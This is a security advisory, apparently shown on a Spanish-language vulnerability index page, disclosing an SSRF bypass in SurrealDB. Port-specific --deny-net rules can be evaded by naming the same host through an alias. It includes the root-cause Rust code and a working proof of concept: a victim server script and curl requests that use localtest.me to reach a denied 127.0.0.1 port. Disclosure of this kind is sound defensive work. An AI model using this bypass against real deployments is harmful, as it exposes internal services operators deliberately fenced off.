GHSA-MHV5-88P6-W4C3
Port-specific --deny-net rules bypassed by aliasing the host (hostname <-> IP) — SSRF egress-policy bypass
Texto original en inglés · Ver en español
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 3.3.0 | surrealdb · -25 d desde divulgación | |
| Divulgación | Publicada | GHSA-MHV5-88P6-W4C3 divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Target: github.com/surrealdb/surrealdb
Affected resource: network-capability matching `NetTarget` (`surrealdb/core/src/dbs/capabilities.rs`) as consumed by `Context::check_allowed_net` and the `FilteringResolver`. Verified on the v3.2.0 release binary (latest GitHub release) with byte-identical vulnerable code in the surrealdb-core 3.2.3 crate (latest crates.io stable) and on `main` HEAD `9d9a5b0`.
Severity: Medium (~6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
Weakness: CWE-918 (Server-Side Request Forgery)
Summary
A port-specific network deny rule — `--deny-net HOST:PORT` or `--deny-net IP:PORT` (e.g. `--deny-net 127.0.0.1:9999`) — is enforced only against a URL whose host string matches the rule *literally*. Because the rule is stored as `NetTarget::Host(host, Some(port))` and the resolved-IP check compares it against port-less `NetTarget::IPNet` values, the deny is bypassed by naming the same target a different way: a hostname that resolves to a denied IP, or the IP form of a denied hostname. An authenticated caller of the `http::*` functions reaches the blocked internal service, no redirect / DNS-rebind / scripting required.
This is a sibling of GHSA-97vg-427p-8hx5 https://github.com/surrealdb/surrealdb/security/advisories/GHSA-97vg-427p-8hx5 (port-specific `--deny-net` dropped on HTTP redirect, fixed 3.1.0). That advisory hardened port-specific denies on the *redirect* path; this report shows the same port-specific denies are under-enforced on the *initial* request via host aliasing.
Root Cause
`--deny-net HOST:PORT` / `IP:PORT` parses to `NetTarget::Host(host, Some(port))`. Two facts combine:
- `NetTarget::resolve()` maps every resolved address to a port-less `NetTarget::IPNet`, dropping the port (`capabilities.rs` L221-L232
https://github.com/surrealdb/surrealdb/blob/9d9a5b0693e499e0d030cac6b618062ec02cd2bc/surrealdb/core/src/dbs/capabilities.rs#L221-L232):
NetTarget::Host(h, p) => {
let r = lookup_host((h.to_string(), p.unwrap_or(80)))
.await?
.map(|a| NetTarget::IPNet(a.ip().into())) // <-- port discarded
.collect();
Ok(r)
}- `NetTarget::Host(host, Some(port))` matches only another `Host(_, Some(port))`; against an `IPNet` target it is structurally `false` (`capabilities.rs` L264-L267
https://github.com/surrealdb/surrealdb/blob/9d9a5b0693e499e0d030cac6b618062ec02cd2bc/surrealdb/core/src/dbs/capabilities.rs#L264-L267):
Self::Host(host, Some(port)) => match tgt {
Self::Host(tgt_host, Some(tgt_port)) => host == tgt_host && port == tgt_port,
_ => false, // <-- IPNet target never matches a port-bearing Host rule
},So the resolved-IP deny loop in `check_allowed_net` (`context.rs` L1221-L1225) https://github.com/surrealdb/surrealdb/blob/9d9a5b0693e499e0d030cac6b618062ec02cd2bc/surrealdb/core/src/ctx/context.rs#L1221-L1225 and the equivalent check in the `FilteringResolver` (`net/mod.rs` L113-L123) https://github.com/surrealdb/surrealdb/blob/9d9a5b0693e499e0d030cac6b618062ec02cd2bc/surrealdb/core/src/net/mod.rs#L113-L123 can never enforce a port-bearing deny. Only the initial `Host`-vs-`Host` literal comparison catches it, so any alias of the host defeats it:
- `--deny-net IP:PORT` is bypassed by a hostname that resolves to that IP.
- `--deny-net HOST:PORT` is bypassed by the IP form, or any other hostname resolving to the same IP.
Bare-IP deny rules (`--deny-net 127.0.0.1`, stored as an `IPNet/32`) are robust — they match the resolved `IPNet` directly. The gap is specific to the port-bearing `Host` form, which is exactly the deny shape GHSA-97vg-427p-8hx5 established as a supported protection (its example was `deny_net = ["example.com:6379"]`). In deny-list deployments (`--allow-net` unrestricted), the resolved-IP private-address filter is skipped, so the reached target can be any internal service.
Steps to Reproduce
Prerequisites
- `surreal` server v3.2.0 (downloaded in Step 1)
- python3 (3.8+)
- curl
Step 1: Fetch the v3.2.0 release binary and write a victim service
mkdir /tmp/surrealdb-ssrf && cd /tmp/surrealdb-ssrf
case "$(uname -s)-$(uname -m)" in
Darwin-arm64) A=darwin-arm64 ;;
Darwin-x86_64) A=darwin-amd64 ;;
Linux-x86_64) A=linux-amd64 ;;
Linux-aarch64) A=linux-arm64 ;;
*) echo "add your platform's asset from the v3.2.0 release" ; A=linux-amd64 ;;
esac
curl -L -o surreal.tgz "https://github.com/surrealdb/surrealdb/releases/download/v3.2.0/surreal-v3.2.0.${A}.tgz"
tar xzf surreal.tgz
./surreal version
cat > victim.py <<'EOF'
import sys
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def do_GET(self):
sys.stderr.write(f"VICTIM HIT Host={self.headers.get('Host')} path={self.path}\n")
body = b"VICTIM_INTERNAL_SERVICE_REACHED"
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
HTTPServer(("127.0.0.1", 9999), H).serve_forever()
EOFStep 2: Start the internal victim service on 127.0.0.1:9999
cd /tmp/surrealdb-ssrf
python3 victim.pyOpen a new terminal for the next step.
Step 3: Start SurrealDB with outbound allowed but 127.0.0.1:9999 denied
cd /tmp/surrealdb-ssrf
./surreal start --user root --pass root --bind 127.0.0.1:8000 --allow-all --deny-net 127.0.0.1:9999 memoryOpen a new terminal for the next step.
Step 4: Prove the deny holds for the literal target but is bypassed by an alias
`localtest.me` is a public DNS name that resolves to `127.0.0.1`, so `http://localtest.me:9999/` targets the exact denied `127.0.0.1:9999`.
curl --retry 20 --retry-delay 1 --retry-connrefused http://127.0.0.1:8000/health
echo "--- [1] literal denied IP:port (expect blocked) ---"
curl -u root:root -H 'Accept: application/json' -H 'surreal-ns: t' -H 'surreal-db: t' \
-X POST http://127.0.0.1:8000/sql --data "RETURN http::get('http://127.0.0.1:9999/blocked');"
echo
echo "--- [2] hostname alias to the SAME 127.0.0.1:9999 (expect REACHED = bypass) ---"
curl -u root:root -H 'Accept: application/json' -H 'surreal-ns: t' -H 'surreal-db: t' \
-X POST http://127.0.0.1:8000/sql --data "RETURN http::get('http://localtest.me:9999/bypassed');"Expected output:
[{"details":{"details":{"name":"127.0.0.1:9999"},"kind":"Target"},"kind":"NotAllowed","result":"Access to network target '127.0.0.1:9999' is not allowed","status":"ERR","time":"...","type":null}]
--- [2] hostname alias to the SAME 127.0.0.1:9999 (expect REACHED = bypass) ---
[{"result":"VICTIM_INTERNAL_SERVICE_REACHED","status":"OK","time":"...","type":null}]Probe [1] to the literal `127.0.0.1:9999` is denied; probe [2] to `localtest.me:9999` — the same IP and port — returns the victim's body, and the victim terminal logs `VICTIM HIT Host=localtest.me:9999 path=/bypassed`. The `--deny-net 127.0.0.1:9999` rule was bypassed. The symmetric case (`--deny-net localtest.me:9999` bypassed via `http://127.0.0.1:9999/`) reproduces the same way; a bare `--deny-net 127.0.0.1` blocks both.
Suggested Fix
Enforce port-bearing deny rules at the resolved-IP layer. Either (a) carry the connection port into the resolved target so `NetTarget::resolve()` yields `Host(IpAddr, Some(port))` instead of a port-less `IPNet`, and extend `matches()` so a `Host(ip, Some(port))` rule matches a resolved `Host(ip, Some(port))`; or (b) in `check_allowed_net` / `FilteringResolver`, re-check each resolved IP together with the request's port against the deny list. Bare-host and bare-IP rules already resolve correctly; only the port-bearing `Host` variant needs the resolved-IP comparison.
Cleanup
pkill -f 'surreal start'
pkill -f victim.py
rm -rf /tmp/surrealdb-ssrfImpact
An operator who runs SurrealDB with outbound HTTP enabled (`http::*` functions) and relies on port-specific `--deny-net` rules to fence off internal services — the exact protection SurrealDB hardened in 3.1.0 — is not actually protected. Any authenticated caller who can invoke `http::get` (and, by the same code path, `http::post`/`put`/`patch`/`delete`) reaches a denied `IP:PORT` / `HOST:PORT` target simply by referring to it through a different name that resolves to the same address, and receives the internal service's response. In deny-list mode (`--allow-net` unrestricted) the resolved private-IP filter is skipped, so loopback / RFC1918 / link-local services (databases, admin panels, cloud-metadata proxies) blocked by a port-specific rule become reachable.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
crates.iosurrealdb |
Corregida | 3.3.0 | -25 d | 4.0.1 no afectada |
3.3.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/surrealdb/surrealdb/security/advisories/GHSA-mhv5-88p6-w4c3Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
